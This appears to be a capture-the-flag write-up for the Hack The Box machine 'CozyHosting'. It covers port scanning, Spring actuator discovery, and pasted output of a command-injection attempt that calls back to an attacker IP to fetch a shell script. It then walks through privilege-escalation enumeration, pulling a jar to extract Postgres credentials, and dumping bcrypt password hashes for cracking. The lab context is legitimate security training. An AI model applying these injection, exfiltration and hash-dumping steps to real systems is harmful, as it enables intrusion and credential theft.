Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-17 00:09 CDT
Nmap scan report for 10.129.84.187
Host is up (0.055s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Added the following to my etc/hosts:
$machine cozyhosting.htb
Reviewing the Site
Browsing around, we see there's a login page:
cozyhosting.htb/login
Browsing to the site and doing some recon, we can see it's created through the bootstrapmade and is using the NiceAdmin:
The main page for cozyhosting.htb is comprised of Ubuntu and Nginx on the backend:
![[Pasted image 20231017113654.png]]
Performing Site Scanning
Tried doing a spider crawl through ZAP, didn't really find too much, and didn't see anything super out of the ordinary.
One of my teammates used a tool called dirsearch, I went ahead and installed this through git clone and found some interesting directories such as:
/actuators/beans
Searching this specific directory, I found that beans is part of the Java Spring framework. From previous professional experience, I know there have been several exploits against this particular tool.
Location: http://cozyhosting.htb/admin?error= % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0curl: (7) Failed to connect to 10.10.16.12 port 8000 after 169 ms: Connection refused % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0curl: (6) Could not resolve host: | % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0curl: (6) Could not resolve host: shcurl: (3) URL using bad/illegal format or missing URLusage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface] [-b bind_address] [-c cipher_spec] [-D [bind_address:]port] [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11] [-i identity_file] [-J [user@]host[:port]] [-L address] [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port] [-Q query_option] [-R address] [-S ctl_path] [-W host:port] [-w local_tun[:remote_tun]] destination [command [argument ...]]
We login and we're the user app. From some enumeration methods we tried, we know that there is a directory for /home/josh, but we are unable to access it.
Starting to run through privesc opportunities from https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
I imagine there might be a method to try and pivot from app to the user profile. So I specifically started to look for SUID / GUID opportunities.
Worked through the following:
ls-aRl/etc/|awk'$1 ~ /^.*w.*/'2>/dev/null# Anyone ls-aRl/etc/|awk'$1 ~ /^..w/'2>/dev/null# Owner ls-aRl/etc/|awk'$1 ~ /^.....w/'2>/dev/null# Group ls-aRl/etc/|awk'$1 ~ /w.$/'2>/dev/null# Other
The responses for these commands were quite lengthy, nothing really seemed to stick out.
Continued through the SUID/GUID and sticky bits.
find/-perm-1000-typed2>/dev/null
This found something slightly interesting, we can access /var/log/postgresql, given this is a web application, we might be able to review, dump a database.
find/-perm-g=s-o-perm-u=s-typef2>/dev/null# SGID or **SUID**
We again see some results containing postgres:
/run/postgresql
/run/posgresql/14-main.pg_stat_tmp
Start reviewing how to interact with posgres databases.
Pivoting around a bit, I ran find / -writable -type d 2>/dev/null, we were able to see that there's a share for /dev/shm, when we do ls /dev/shm/* we see there's a file named PostgreSQL.1814524994.
Apparently these were rabbit holes.
No Privesc needed yet
Reviewing a brief write-up, we see there were credentials in the file found in the directory you get your reverse shell in /app. The person whose write-up I reviewed mentioned you can find them via the tool jd-gui. This is a part of the Kali repository https://www.kali.org/tools/jd-gui/, but was not installed on my image.
Performed the following to pull and review the .jar file:
On my attacker machine executed sudo apt install jd-gui
Victim machine I used a Python simple server to move the file
cd /app
python3 -m http.server 9090
Once the server is setup, you can run curl or wget to retrieve the jar.
wget 10.129.209.88:9090/cloudhosting-0.0.1.jar
When the file is retrieved, you can do jd-gui & on your attacker machine
Within jd-gui, browse and open the cloudhosting*.jar file
Postgresql Enumeration
After we're able to retrieve the postgresql username and password from the .jar file we can run the following on the victim machine:
psql-h127.0.0.1-Upostgres
Then copy and paste the password we received from the .jar file. This will allow us to access the database.
After some brainless tinkering, I used the following to further assist with navigating the postgresql database:
\dn # provide the schema of your database \l # list the databases within your current schema, this is is an l as in Lima \c <table name> # change databases \dt # list tables
Once the correct database is selected, we want to enumerate the tables.
cozyhosting=# SELECT * FROM users;WARNING:terminalisnotfullyfunctionalPressRETURNtocontinuename|password|role-----------+--------------------------------------------------------------+-------kanderson| $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim|Useradmin| $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm |Admin(2rows)
These look like entries provided by /etc/shadow, from here we can try to use either hashcat or john to crack the potential passwords.
Doing some digging, we see that the cipher used for these is blowfish per the bcrypt documentation:
https://en.wikipedia.org/wiki/Bcrypt
Where:
- `$2a$`: The hash algorithm identifier (bcrypt)
- `12`: Input cost (212 i.e. 4096 rounds)
- `R9h/cIPz0gi.URNNX3kh2O`: A base-64 encoding of the input salt
- `PST9/PgBkqquzi.Ss7KIUgO2t0jWMUW`: A base-64 encoding of the first 23 bytes of the computed 24 byte hash
Searched around online, and we can create a file on our attacker machine with the following format:
The previous format should work for john, went ahead and also tried hashcat as well. Since I seldom use these tools, I used the following to make sure my hash file format was correct: